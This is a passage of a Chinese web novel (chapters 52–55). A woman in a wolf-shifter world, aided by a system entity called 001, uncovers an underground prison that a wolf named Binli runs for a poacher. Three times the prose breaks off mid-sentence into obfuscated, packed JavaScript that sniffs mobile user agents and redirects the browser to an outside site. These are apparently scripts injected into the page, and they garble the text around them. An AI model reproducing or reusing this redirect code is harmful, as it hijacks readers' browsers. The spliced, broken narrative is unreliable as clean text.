挨个排除后,他确定下唯一一处可疑的地方,那里表面是一片长满灌木丛的平地,但他亲眼看到,一只黑鸢化形的兽人进去后就没再出来。 这一片位置十分偏僻,远离森林中心,连野兔都鲜少闯入,更别说秃鹫这样的中大型鸟类。 不对劲。莱斯回去告诉乔泽,又重新折返,默默在那里守了一天。 第三天,这里依旧十分平静。正当他准备返回时,远远嗅到一股熟悉的气味。 莱斯立刻重新藏好。 不一会,目标身影跑进这片区域。正是查克。 他看起来十分匆忙,只停下环顾了一会,很快跑到莱斯对面大约一百米的灌木丛后面,开始刨地。 他在干什么?那有什么东西吗?莱斯默默盯着不远处的身影。 大约十分钟过去,查克满身是土地站起来,看起来比莱斯还要怀疑,接着换了个挨着的地方继续挖地。 还是没有。查克紧接着换了第三个地方、第四、五个地方…… 霎时间,他意识到什么,猛地直起身,眼里露出惶恐,有一瞬间感觉到后背冷汗直流。 宾砾是在调虎离山!他肯定发现了自己的秘密! 查克飞速朝月影族跑去。 莱斯紧随其后。 结果,还在半路上,查克遇到了宾砾。他也来找自己了。 莱斯停到离那两只狼不远的距离观察。 宾砾发出一声低沉的嘶吼,不由分说朝咬向查克脖颈! 查克瞬间吓得要死,从他身旁滚走。宾砾四只爪子的爪缝因为用力,嵌入又黑又红的泥土。他又尝试撕咬查克的尾巴,查克“嗷”了一声,还是没躲过去,尾巴被咬出一个豁口,溢出丝丝鲜血。 余光中,查克瞥到宾砾系在毛发上的银戒,心里登时如坠冰窟。 他不想再和宾砾纠缠,想赶紧离开这里。谁知宾砾像完全失去了理智,褐色的双眼竟映出几分血红,这分明是想咬死自己! 三年了,查克第一次觉得,眼前的这只狼好陌生。有一瞬间,他很想离开宾砾,不想再跟在他身边。 可尾巴传来的刺痛提醒他,离开宾砾,他只会过得更惨。 查克开始俯低身态,向宾砾示弱。他让宾砾压在自己身上,而自己却夹紧了尾巴。 宾砾丝毫不买查克的讨好,他张开狼口,露出锋利的狼牙,弓身咬在查克柔嫩的腹部。 一块肉瞬间被撕扯掉。 紧接着,第二口,第三口,宾砾就像个疯子一口一口地咬在查克身上,把查克折磨地半死不活。涌出的鲜血染红了宾砾嘴边的毛发,也让他更加兴奋。 查克觉得,也许他今天就要交代在这了。 就因为一个莫名出现的银戒,和他不该有的一丝念头。 查克的意识越来越弱,渐渐地,全身只剩下疼痛。 啪! 宾砾感觉有谁拿石子砸到他头上。他愤怒地转过身寻找那个找死的家伙。 几秒过去,附近毫无动静。 他刚刚转过头,又有一个石子打在他身上。 宾砾怒不可遏地吼叫一声,转身朝前走了两步,想要揪出那个暗处的阴贼。可他鼻尖是浓重的血腥味,其他细微的气味都被掩盖住了。 宾砾抓狂地回头,却发现浑身是血的那只杂种狼不见了踪影。 * 月影族。 这几天,苏昙看完谷晨记录的第一个里世界。她怎么也没想到,谷晨竟是靠苟到最后离开的! 虽然谷晨穿到了一位大将军的身体里,但在他穿来之前,就是一个整天坐在办公室里做表格整文件的牛马,对武功一窍不通,更别提上沙场征战打仗。加上401没什么经验,不能像001那样悄悄放出原主的灵魂,自然也帮不到谷晨什么。 正好,皇帝罢免了原主的官职,谷晨落得清闲。不幸的是,中间一段时间,边境有寇贼来犯,谷晨被迫派去搅灭寇贼,结果差点把命交代在那。 自那以后,谷晨便一直称病,在家修养,从来不见外人。两年后,他硬是撑到了皇子争斗,当朝皇帝被暗杀驾崩,新皇帝登基。 新皇帝登基那天,谷晨倒真生了一场病。病中,他做了个光怪陆离的梦,醒来后,便到了虚空之境。 苏昙不由在心里暗叹,原来这也是条咸鱼,还是条又能苟又能活的咸鱼!好让人羡慕! 她有些意犹未尽,抬头发现已经中午,到了该吃饭的时间。 房子虽然是凌冉的,但她每天早早出门,要在外面袋好长时间,到了晚上才会回来。眼下屋里只有苏昙一个人,她准备简单做点凑合凑合。 结果,她刚放好笔记本,听到窗外传来一阵吵闹声。 “滚开!这是我爸带回来的肉,没你的份!” 一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实,上次梦魇后的凌乱,苏昙早已消化得差不多,她很清楚眼下最重要的是什么——那就是活下去。直到活着离开这一个、下一个,甚至下下一个里世界。 至于那些隐秘的、令人迷乱的情绪或念头,不是她现在奢望得起的东西,她不会去探究,也不会再好奇,只需像现在这样,就很好了。 反而是001,她隐约能感觉到,他一直有意保持距离,整日除了她需要帮忙的时候,001才会出现在识海,其余时间则一心忙工作,他们就连斗嘴的话都很少再说。 苏昙猜测,是不是她那时说的话太严重,让他产生了误会或者觉得心里生气不舒服?也是,等找到合适的机会,她再好好向他道歉解释。 “姐姐?”小狼看到眼前的人不知在想什么,把袋子翻来覆去看了一遍又一遍,忍不住出声提醒道。 “啊?”苏昙猛地回过神,问道,“不好意思啊,你刚才说了什么?” 小狼抬起头,认真地重述:“谢谢你,姐姐。虽然我很饿,但我更想用自己的双手和实力得到食物,我不可能得到每个兽人的同情,那都是一时的假象。” 苏昙有些惊讶她这么小的年纪就能有如此透彻的思想,确定道:“……你真的这样想吗?” “嗯。”小狼眼神坚定,“我知道,我们血统不纯的狼一直不被待见。可那又不是我们的错,我不需要自卑。我相信,总有一天,我会变得强大!” 苏昙心里清楚,那不会是一条轻松的路,但勇敢的人值得尊重和祝福。 “我也相信你。”她温柔地注视小狼。 小狼也露出笑容:“我要走了姐姐,很高兴见到你,你和他们是不一样的。” 苏昙低头在袋子里翻找出一大块肉,递给小狼:“如果你把我当朋友,就收下这份礼物,好吗?” “这……我不能要。这是你的,我可以靠自己获得的,饿一顿没什么。” “就是知道你可以,所以要吃饱了才有力气走远路啊。拿着吧。” “我……”小狼不由自主地看着苏昙明亮的眼眸,几番犹豫,最后决定道,“谢谢姐姐,但我还是不能要。这是我的底线。如果我变得强大,以后一定会再来找你的!” 小狼头也不回地离开,只在屋里留下一串令人心悸的约定。 53. 世界三(13) 今天是个不错的天气,阳光依旧温暖。 苏昙与小狼告别,简单吃过午饭,避开月影族内不怎么友善的族员,绕房子后面的小路离开,去到乔泽家里。 苏昙:“莱斯今天没来吗?” “他有点事要办。”乔泽有些兴奋地告诉苏昙,“前天莱斯找到了一个查克去过的可疑的地方,为了不错过信息,他这两天一直在那亲自盯着。” 苏昙看了看墙上的挂钟,说道:“现在还有些时间,我们一起去那看看。” * 半小时前,查克被宾砾咬得半死,浑身血肉模糊,就在他快要咽气的时候,不知是谁用石子吸引了宾砾的注意力。 他来不及思考发生了什么,拼尽全身力气,靠着肺里仅剩的一口气,头也不回地逃走了。 莱斯还藏在原来的灌木丛里,看着查克和宾砾离开的的背影先后消失在视野,他敛下眼睫,摩挲手指尖捏着的石子。 都说恶人自有恶人磨。两年前,他在族里被宾砾等人霸凌时,查克虽一直跟在宾砾身边,却没有像其他人那样折辱自己。 也许是查克太胆小懦弱,又或是因为同类相怜,他成了一个冷眼旁观的看客。 莱斯本在心里瞧不起查克,今天看到他体无完肤的样子,竟然觉得深深无力。 鬼使神差地,他拾起地上的石子,让查克有了片刻喘息逃命的机会。 他不知道这样做是对是错,但莱斯唯一能确定的是,做完这件事,他身上轻了许多,同时感觉到心里有什么东西悄悄地放下了——也可能只是错觉。 等莱斯再次回到监视的地方,正好遇到来这的苏昙乔泽两人。 “怎么样,今天查克来这了吗?”乔泽走上前问道。 “银戒在宾砾手里。不知为何,不久前他和查克在附近发生打斗,两个人的关系应该一刀两断了。” 苏昙:“那查克呢?他去哪了?” 莱斯摇摇头:“不知道。他被宾砾咬得半死,活不活得下来都是问题。” 乔泽看了一圈,注意到眼前的环境:“你说的那个黑鸢进到这片灌木丛之后就再也没出来?” “嗯。或者说,那只鸟的身影是凭空消失在我视线里的。也许他飞到了某棵树上,”莱斯上前几步,“但我去那里看过,连根他身上的毛都没找到。” 凭空消失?苏昙腹诽,她唯一见过能凭空消失的人还是001。这样匪夷所思的事情,竟然这么寻常吗? 这样想着,她开口道:“我想再进去看看,也许还能发现什么。” 苏昙拨开层层灌木,靠近了林立的树木。 这些树木长得及其粗壮高大,挨得却不算紧凑,中间隔得尚有空隙。苏昙发现,这里的树木几乎都有或大或小的树洞。 她扭头问莱斯:“你瞧见的那只黑鸢会不会钻进树洞里了?” “这正是奇怪的地方。我一一找过,并没有发现他的踪迹。”莱斯皱眉,“他的气息,就在这一片地方突然消失。” 苏昙凝神思考。 她并不相信这个里世界会有怪力乱神存在,一定有什么是她们还没有发现的东西。但这东西会在哪里…… 眼前的景象看起来无非就是一片再正常不过的树林,除了这些树木都比其他地方的要高大一些,可这又能说明什么? “……你们过来看一下!” 乔泽的声音在苏昙前方响起。 她和莱斯赶过去,看向乔泽手指的地方。 “你俩有没有觉得,这个树洞的树皮,比它旁边这个脱落得更多一些?” ——乔泽的提问让苏昙心里升起一股异样。 不只这一点,苏昙还注意到,他手指的这颗树的树洞比旁的也更大。 莱斯也感觉到,他把头探进去,观察片刻后,说道:“这个洞虽然能容下一人的身形,但那个兽人要一直呆在一面不出来吗,他为了什么才要这样做?” 苏昙想到什么,她走近树洞,示意莱斯先出来。她站了进去,跺了跺脚,又抬手轻叩向内凹陷的洞壁。 末了,苏昙转移到另一个小点的树洞,稍稍弓起背,重复刚才的动作。 乔泽:“怎么了,难道树洞真的有问题?” “这颗树的整个树干,包括地下,恐怕都是空的。”苏昙走回那个大树洞旁边,解释道,“我刚才听到,这个树洞后面,和我脚底都有轻微的回声,但另一棵就没有,一听就是实心的。” 这一发现让莱斯和乔泽两人忍不住睁大眼睛。他们又去敲击其他树洞的洞壁,都是实心的,只有苏昙身边的那一个与众不同。 眼看离真相越来越近,苏昙也有些激动。她闭上眼,努力思考还有什么能证明她心里的猜测。如果这颗树连着地下的空间,那一定还有什么入口能够进去,想必这也是那只秃鹫莫名消失的原因。 既然所见之处找不到连通地下的“大门”,那就试着在看不见的地方找。比如…… 苏昙睁开眼,微微抬起头,目光由下到上仔细扫过树干、树枝、树冠。 找到了! 她能看到的这颗树的树干上,大约在离地面十五米高的地方,还有一个开口的树洞。 莱斯和乔泽顺着苏昙的视线,也看到了那个树洞。 “如果地底真的是空的,”苏昙看着他们,“或许,高处的那个洞口才是去往地底的真正入口。入口通向的地下,极有可能藏着我们不知道的秘密。” 乔泽接着道:“而这个秘密,也是查克的秘密。” “至于地下到底有什么,我们只有去了才能知道。”莱斯面露一丝愁意,“问题来了,我们该怎么上去?” 苏昙:“……” 好问题。 他们是狼,既不会飞也不会爬树,更何况,她还有个恐高的毛病。 等等!她虽然不会飞,但鸟可以啊! 苏昙从腰间的挎包里掏出一个打磨精致的骨哨,深吸一口气,把哨子放到嘴边,吹出一串不成调的“噪音”。 莱斯看她还要继续,忍不住嘴角抽搐,捂住耳朵:“你在干什么?!好好的乐器,让你糟蹋了。” “你懂什么?”苏昙白了他一眼,“这哨子连个音阶的孔都没凿,你想让我吹得多好听?你不满意你来吹!” 说罢,她就要把哨子递给莱斯,故意膈应他。 莱斯连退两步:“你真是有病!” 苏昙不以为意,把哨子放到嘴边,正要再吹一遍,看到远处飞来一个黑色的影子。 “这儿,小鸦!”苏昙把他唤到左肩头。 距离上次他化形还有一天才过一周,小鸦现在只能歪着头听她说话。 苏昙扬了扬下巴:“看到那的树洞没,我现在需要你飞到那里面,在顺着树干飞下去,看看地下到底有什么。安全起见,二十分钟之后,听到哨音就出来见我。明白的话,就飞到我右肩头?” 小鸦眨眨眼,照着苏昙的指令做出回应。 “好,现在去吧。” 小鸦扑腾翅膀飞走。 苏昙思索,就算小鸦发现什么,也没法立刻张嘴告诉她,一切都要等到明天再说。莱斯和乔泽两人在这等着也是浪费他们自己猎食的时间,苏昙就让他俩先回去了。 小鸦探过树洞后,苏昙和他一起回到凌冉的房子里。 她坐到桌前,拿出纸和笔,想了片刻,低头写下几行字。 * 虚空之境。 001做完手里的工作,没有立刻离开,他坐在工位上静静等着131忙完。 十分钟过去,131发觉一直有道目光有意无意地落在他身上,终于忍不住抬起头,猝不及防对上001的视线。 “……有什么事吗?你、干嘛一直这样看我?”131咽了一口唾沫。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580266|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从没见001脸上有过这么认真的表情。一般情况下,001干完工作,都会直接去找苏昙,今天竟然罕见地在虚空之境留了这么长时间。 131突然觉得心里毛毛的。 “想问你点事。” “你说,你说。” “你上次让我‘主动破冰’,这个办法很有用。但前几天,她做了噩梦,心里难受,我想陪在她身边,她却好像……生气了。” “什——咳、咳!” 131差点被自己的口水呛死。他还以为多大的事,结果是因为苏昙。 那001可算是找对人了! 131问:“你说的‘心里难受’,是指她心里难受,还是你心里难受?还是……两者都有?” “……我不知道。” “不知道?怎么会不知道呢!”131疯狂摇头,又自己说服自己,“也是,我们能和宿主的强烈情绪共感,感知有误很正常。那我换个问法,如果苏昙现在就在你面前哭得无比伤心,悲痛欲绝,你会不会也觉得心里伤痛?” 001搭在桌上的指尖微颤。 他光是回想到那天凌晨,她背过身低声抽泣的模样,就觉得心口一阵酸软堵涩。 其实苏昙很少流泪。比起流泪,她更喜欢笑。他能在她身上,看到和其他宿主不一样的鲜活。正是她的鲜活,一次次击溃他麻木伪装的外壳,带他感受到不一样的情绪,把他变得更加完整。 131看001的表情,便明白了他心里答案,又问道:“你说她生气了?她骂你了?你生气吗?” “她生气了。但没有骂我。” 001不觉得苏昙说的那一句话有多么严重。 但他隐约察觉到,那句话在他们二人之间,划下了一条无形的边界。如果他鲁莽地越过界限,也许他们之间的关系,会连最初的相遇都不如。 说实话,他一点也不生气,相反,那是他第一次对害怕有具体的感知。他不敢再随心所欲,只能小心翼翼。 那之后的每个夜里,他都会想,原来苏昙每次觉得害怕的时候,也是这样的感受吗? 131看001又不说话,更加证实心里的猜测,继续问道:“我再问你,你是想暂时陪在她身边,还是想一直陪在她身边?” 轰—— 一瞬间,001心中哗然,好似风平浪静的海面掀起巨浪,露出海底真正汹涌澎湃的一面。 他从来没想过这个问题。 是啊,为什么他会理所当然地觉得她会一直在自己身边?他又为什么会自以为是地认为她一定需要自己的陪伴? 是啊,为什么? 他想不明白。 131却一脸了然:“你这是喜欢上她了。” 喜欢……她? 001愣神。 他脑海里闪过不同时刻苏昙的模样——冷静自若的、气恼嗔怒的、笑意盈盈的、泪光细碎的……似乎她的每一个表情都早已在他心里生根发芽,只需稍稍回想,便清晰如昨。 “你想啊,你不希望她流泪,她伤心了你也跟着难受,她生气了你又会包容,甚至还渴望一直陪在她身边,这不是喜欢是什么?”131露出调侃的笑,“没想到这才过了多久,你们之间的关系就变质了。” “别乱说。她什么都不知道。” 001心里有片刻慌乱,他听自己怔怔说道。 “妈呀,原来你还是单恋!”131都不知道是要为自己的兄弟高兴还是难过。 他把手里的资料整理好,说道:“反正你要是确定了自己的心意,就大胆去表达吧。毕竟,机会都是留给主动的人的……我去送资料了,再见!” 转眼,屋里只留001一人缄默。 喜欢?原来喜欢竟是这样的感觉吗?001轻轻按了按胸口。似乎也不怎么好受。 又酸又涩,又堵又闷……患得患失。 54. 世界三(14) 森林里的一处隐蔽之地,流淌着一条小溪。 若是走进仔细瞧,便会发现,溪流被源源不断的血水染红,仿佛一条艳丽的丝绸,而丝绸里面,包裹着一个血肉模糊的、奄奄一息的兽人。 溪水的冲击刺激着查克,使他保持清醒。他心里清楚,如果真的昏死过去,可能就再也没机会睁开眼睛。 流水反复冲刷伤口,查克痛得连叫出声的力气都没有。若不是这片流动的水源带走嵌进皮肉里的碎石木屑,洗净皮肤上沾染的泥土,也许今夜,他就会发起高烧,仍是必死无疑。 他只想要活着,为什么就这么难? 查克咬紧牙关,脑海里不受控制地想起一个自己的同类。 当年莱斯究竟带着怎样的心情,看待他的冷眼旁观?用了多大的勇气离开了月影族?又是以怎样的毅力和宾砾撕咬,拼命反击? 查克永远不会忘记,在莱斯挖掉宾砾一只眼睛后,和自己对视的眼神——鄙夷、不屑……还有一丝嘲讽的同情。 那种眼神让他有过片刻的害怕,似乎再多一秒,下一个被挖眼睛的狼就是他。但查克很快说服自己,他只是和莱斯做出了不同的选择,他有什么错? 短暂的一眼对视,第二天便被查克埋在记忆的墓地。森林很大,鱼游兽走,他一直都没有再遇见过莱斯。 转眼两年过去,这段过往回忆苏醒,他竟对莱斯生出一丝可悲的羡慕。这点隐秘的羡慕让他忍不住想,若是能重新来过,他不选择站在宾砾身边,是不是现在的结果,会比眼前的要好? 夜晚渐渐降临森林,溪水散尽了白日吸收的阳光的温暖,开始变得冰凉刺骨。 查克终于感觉身上的伤口不再流血,他爬上岸边,虚脱地躺倒在地,失神地望向繁星璀璨的夜空。 他扪心叩问,究竟想要什么样的生活,到底想怎样活着? 查克想了很久很久,久到天边泛起鱼肚白,森林里响起稀稀拉拉的鸟鸣,泡过的溪水恢复澄明清澈,他都没想出今天该何去何从。 一个没有家,没有朋友,没有勇气的狼,有什么未来可言。真是可笑。 查克继续在地上躺着,他觉得自己应该挺过了昨晚的鬼门关,便放任地沉沉睡去。 这一睡,又是整整一天。 等到他睁开眼,身上多了点劲,就挣扎着爬起来,一路循着偏僻的小径,避开认识的兽人,如人人找打的贼一般潜进家里。 许是他在水里泡了太久,周身的气味都被冲淡,一进门竟发觉家里沉闷发霉的味道如此明显。原来家里竟一直这样难闻吗?就像他本人一样。 查克越过地上碍事的杂物,推开窗户通风。 一阵风迫不及待钻过窗沿的缝隙,吹落了桌上一张不起眼的折叠的纸条,最后颤颤巍巍地落在查克手边。 ……这纸是哪来的?查克记得家里没有这种东西。 他翻开纸片,上面只有一行娟秀的字体: “今晚十二点,月影族北边山坡后面见。务必要来。” 查克面色凝重。 他下意识地想起银戒出现的那天。 留下这张纸条的人……会不会和留下银戒的人是同一个?他/她到底想干什么,把人当傻子戏弄吗?就这么喜欢看别人难堪的窘态吗?! 查克心里窜上一股怒火。他把手里的纸条攥成纸团,随手抛进房间里一个落满灰的角落。 凭什么那人想让他做什么他就必须做什么?他偏不去! * 苏昙算着查克受到重伤,一时半刻应该没工夫会月影族,便拜托小鸦去查克家里送个东西。 七日一到,苏昙还没发话,小鸦早已迫不及待地化成人形,兴奋地给她讲树洞里的所见:“我的天!我觉得我好像发现了什么秘密!我这辈子还没见过地下有这样的地方!” 苏昙笑了笑,没有打断小鸦的兴奋劲,耐心等他接着往下说。 “维希姐姐,我和你讲,从树洞飞进去,沿着树干往下,能看到一个很大的房间!那个房间的门特别大,周围又特别黑,阴森森的,好吓人!还有就是,就是……” 说着说着,小鸦说得吞吐,表情有些犹豫。 “是没记清楚吗?没事,你慢慢想,仔细说。” “就是那的门都是用铁链子锁着的!而且门前面还有四只黑鸢!一个就快顶两个我,我光是看到它们阴鸷的眼睛就害怕得要死,所以我没再靠近了……” “你做的很棒。换做是我,也会害怕。” 苏昙想到第二个里世界在虚境遇到的夭勒妖,它们都属于凶悍的猛禽。 小鸦被夸奖,神色一下子变得轻松,甚至有点小骄傲,想再多发挥点作用,他问道:“你和那两只狼是不是要做什么事情,需要提前了解地形?那事情危险吗?能多带我一个吗?” “瞧把你兴奋的,”苏昙忍不住刮了一下他的鼻子,无情拒绝道,“不可以。” “为什么?我不怕危险!” 苏昙无视小鸦渴望的眼神:“这不是危险不危险的事,是我们都不知道接下来会发生什么,时刻都要随机应变,真到了情急的时候,我可顾不上你这个小家伙。” “我不小了,我半辈子都快过完了!”小鸦争辩。 苏昙依旧义正言辞:“我说不行就是不行,你吃我的,就要听我的。我还有问题要问你呢。” 小鸦撅嘴:“什么问题?” “你当时在地下,能感觉到门后面是什么东西吗?” “唔……门都是紧紧闭着,而且很隔音,我听不到什么声音。哦,不过我隐约感觉到,里面好像有活物的气息。” 活物么。苏昙心里一沉。地下果然和宾砾查克那两人脱不开关系。 看来,她不得不和查克好好谈一谈了。 * 当地平线模糊的边缘开始渗出黑暗,森林里的飞禽走兽陆陆续续开始归巢。 苏昙提前半个小时来到月影族北边山坡后面,在那等候。她不知道查克会不会赴约,但她选择相信自己的判断。 夜越来越深,在森林宁静的氛围中,苏昙感觉到心脏减缓了节奏,遥远的地平线慢慢拉远了她的目光,草丛中似乎传来植物生长的沙沙声,非常细小,像一点点碎屑飘落,得用心听才能察觉得到。 她耐心地等待,一边倾听广袤时空中万物的耳语,一边仔细分辨身边有没有传来脚步声,反倒不觉得无聊难耐。 手中怀表的时针滴答走过一圈又一圈,最后指向数字二的时候,苏昙终于听到周围传来一阵规律的脚步声。 她把怀表放进挎包,转过身,借月光和星光看清来者的样子,正是查克。 “原来是你。”查克也瞧见了邀约人的模样,讥讽道,“那个只在月影族呆了一晚,就吓得落荒而逃的狼。” “没错,就是我。” 苏昙点头,承认得爽快,反倒叫查克不知如何接下去。 他噎了几秒,突然意识到,就是眼前的这只母狼害得他被宾砾折磨半死,落得现在一副半死不活的样子。 查克感觉到火气又从肚子窜上胸口。 “你真是恶毒!无耻!下作!故意把银戒放到我床上的也是你吧?我究竟和你有什么仇,你要害我至此?!” 苏昙像听到什么招笑的笑话,忍俊不禁道:“害你?你都算得上死过一次的狼,还没看清楚真正害你的是谁吗?把你咬得半死的狼是宾砾,现在要和你断绝关系的狼也是宾砾,不是我——充其量,我只是在帮你。” 查克简直觉得苏昙就是在强词夺理,他尖声质问:“要不是你把银戒放到我家里,会有现在发生的一切吗?!还不都是因为你!” 苏昙被他突兀的声音惊到,耳膜传来幻痛,她抬手揉了揉耳朵,处惊不变地说:“请问你有什么资格谈现在?你是有实力,还是有人脉?” “切,搞得好像你都有似的。”查克上下大量这个比他还小两岁的母狼,不屑道。 “抱歉,虽然我没那些,但我有脑子。” 查克:……骂的好高级。 他听苏昙继续说道:“你好歹也待在宾砾身边几年了,难道还没看清他的真实面目吗?他就是只阴险狠毒,心思狡猾,没有良心的疯狼!你这是在与虎谋皮!” “那又如何?他能保我温饱,就足够了。” 苏昙:“他现在可不会再给你所谓的保证。” 查克想到前天宾砾骗他去挖那半头根本就不存在的驯鹿,心里一阵不是滋味。 是啊,他有什么资格再谈现在?不仅没资格谈现在,更没资格谈未来。 他想起来前天晚上满身伤口泡在在溪水里看天的时候,已经这样难堪,还在意所谓的面子干什么?简直可笑。 查克脸上的轻蔑慢慢消失,连带着眼里仅剩的一点光亮也彻底消失,胸腔的怒气也不复存在。 夜里太黑,苏昙没有注意到他神情的变化,继续讲没有说完的事实:“记得小时候宾砾是怎样霸凌莱斯的吗?那样恶劣的品性是一辈子难改的,他小时候如何对待莱斯,以后就会如何对待你。你身上的伤口就是最好的证明。” 查克面无表情,他怎么可能会忘记?不仅忘不掉,甚至越来越深刻。那些记忆就像皮毛里的痒虫,只会消停一时,却会永远存在,反复提醒他,折磨他。 突然,查克放声大哭。 突如其来的哭声把苏昙吓了一大跳,她满眼迷茫地看着对面泪流满面的兽人,不知道还要不要继续说下去。 查克哭泣的声音越来越大,汹涌的眼泪犹如卸闸的洪水,仿佛就要这样无穷无尽地流下去。 苏昙喊道:“查克?” “呜呜呜……” 哭泣的人没有搭理她,依然抽肩痛哭。 苏昙看他一时半会也缓不过来,便接着道:“其实,我很理解你想要找一个依靠的心情。因为我也有过。” 在她穿进系统的时候,整个人如落到海上的蚂蚁,随便一个浪花都能将她拍死,那时的她比谁都更想找到一个依靠。 幸运的是,她遇到了001——一个冷淡却又温暖的人——她一直不愿叫他子系统,总觉得那样少一些人情味。 她继续说:“当这样残酷的事实发生在你身上的时候,就好像跌入了一个无底深渊,伸手不见五指,你逃脱不了,也拒绝不了,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583085|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去接受。但每个人的选择不一样,结果自然也就不一样。没什么好怕的,至少还有结果,不是吗?” “我相信你也感觉得到,其实待在宾砾身边根本就不舒服,你要时刻奉承他,他让你做什么你就做什么,他骂你打你的时候,你甚至没勇气还手。可你是有权利拒绝的,你有权利去吃猎到的第一口鹿肉,你也可以对他说不。” 苏昙说着,听到身边的哭声更大了。 怎么办,她头好疼。 她本想与查克说几句交心话,尝试感化他,再问出宾砾抓兽人的真正目的,却不曾想情况变成现在这个样子。 事已至此,苏昙干脆闭上嘴,静静地听他哭。之前背过的成语“鬼哭狼嚎”,她现在算是切身领会到了。 听着听着,她心里有些庆幸,得亏她明智,选了个离月影族的远的地方,不用担心扰民。 不知过了多久,苏昙发现查克的嗓子都哭得哑了,声音终于渐渐弱下来。 “……你为什么要同我讲这些?”查克抬起头,红着眼眶,用不着调的嘶哑声音问道。 苏昙没怎想便答道:“就是觉得你这一辈子不该这样度过,你值得更好的生活。” 查克看着苏昙。 他没有父母,没有兄弟姐妹,在他有记忆的时候就跟在了宾砾身边,从没听到过这样触动人心的……温暖的话。 所以,在他听到苏昙说了那些话后,才会哭得更加大声,心里压抑厚重的蛛网终于被撕开了一条裂缝,透进了什么陌生而有力量的东西。 哭过之后,查克下定决定要彻底离开宾砾,哪怕以后都是独自一人,也比跟在他身边要好。至于宾砾的那些秘密,他也没必要替他保守了。 “你还想知道什么?” 苏昙压下心里的惊喜,把这几日的猜测问出来:“那个树洞连通到地底,地下到底有什么?是不是和宾砾拐走的兽人有关?” 查克猜她的目的就在宾砾,想了想说道:“对,他把那些失踪的兽人都藏到了地下的地牢。你找到的那个树洞入口是给看守大门的秃鹫用的。还有一个地上入口,也能到地底。如果你想去想去,我能带你去。” “多谢。另外,我还有一个疑问,宾砾拐走兽人,是为了什么?” “他和人类私下有交易。” “什么?!” 苏昙大吃一惊。 她立刻生出预感:“不会是和盗猎者……” “没错,那个人叫老荣。他把宾砾一家四口狼全部偷走,以此来威胁宾砾,强迫他用更多的动物来做交易,赎回他的家人。” 苏昙气得心脏狂跳:“他这样做多长时间了?” 森林的动物,不论能不能化成人形,都遵守着不与人类来往的规定,就是为了保证自身安全和家园安宁。 而宾砾,却私自打破了这一规定,甚至和盗猎者扯上关系! 查克数了数时间:“他和老荣定的半年,现在已经过去两个多月了,上交过两次,一次三十只,什么都有,驯鹿、麝牛、乌鸦……甚至还有狼。” “那你——” “别瞎说!我没掳过兽人!我就是个跟在他身边拍马屁再被他打两拳发泄的。” “你急什么,我都还没问完。”苏昙重新问道,“那你知道他一般和老荣在哪见面吗?” “靠近森林西北的位置,那有一条公路,平时不会有人和动物去那,他们就在那里交易。下次交易,在三天之后。” 苏昙心里思量:“宾砾什么时间会去地牢?” “交易当天,其余时间若是他拐到兽人,也会去一趟。你问这么详细做什么?”查克皱眉。 “救他们。” 查克瞪大了眼睛,他觉得眼前的这个女人一定是疯了,才会想着对抗宾砾,做出这么匪夷所思的事情。 苏昙看查克脸上惊疑的神色,说道:“放心,我们不会把你牵扯进来。” “……我们?还有谁参与?” “你不会想知道的。” 查克好奇心被勾起,追问苏昙,语气急切:“到底是谁?” “莱斯和另外两个朋友。”苏昙说完,停下观察查克。 他的表情在听到莱斯的名字后,出现一道裂痕,眼睛里多了几分晦暗不明的情绪。 苏昙掏出包里的怀表,看了一眼,已经接近凌晨四点,中间查克光哭就占了快一个小时的时间。 “如果没什么事的话,我明天中午找你,你带我进地牢。” 她最后道。 “……好。”查克看苏昙要转身离开,下意识喊住她,“那个……你能带我去见莱斯一面吗?” 查克也不知道他为何会鬼迷心窍地提出这一请求。 苏昙扭头看他,直到查克快要顶不住她直勾勾的目光,终于听她开了口:“如果我们要做的事成功,就考虑帮你传达。你,还有什么要说的吗?” 查克有些不好意思地问:“我想改变,该怎么做?” “改变?”苏昙打了一个哈欠,眨眨眼角泛出的泪水,“简单啊,先把你家里收拾整洁,再把你自己也洗干净。毕竟,改变要有一个好的开始,不是吗?” 55. 世界三(15) 苏昙回到凌冉房子里时已经接近凌晨四点半,天边隐约有要亮起来的痕迹。她只匆匆眯了两个多小时,便被雷打不动的生物钟叫醒。 苏昙洗漱时,看到自己眼底的一片淡黑,心疼地叹了口气,抬手给干涩的眼睛做了一套眼保健操。 今天中午查克就要带她和小鸦进入地牢,在这之前,她还需要去找乔泽和莱斯一趟。 当她敲响乔泽的家门,开门的却是另一个兽人。 “莱斯?三日之期还没到,你怎么会在乔泽家?” 莱斯不知想到什么,犹豫了几秒才回答:“感觉事情就要水落石出,前天从那片树林回来我就没回去,索性在乔泽这住下,也好商议线索和信息。” 苏昙好整以暇地看他一眼,边说边走:“我怎么觉得,你变得和之前不太一样了。” “哪不一样?” “以前的你,就算关心那些兽人,也不会像现在这样积极主动。而且,你对月影族……好像也没那么排斥了。没别的意思,我就是很开心能看到你的改变。”苏昙不加掩饰地大方说道。 莱斯听出她话里并没有调侃之意。恰恰相反,他有种被一眼看穿的慌乱,慌乱中又生出丝丝害羞。 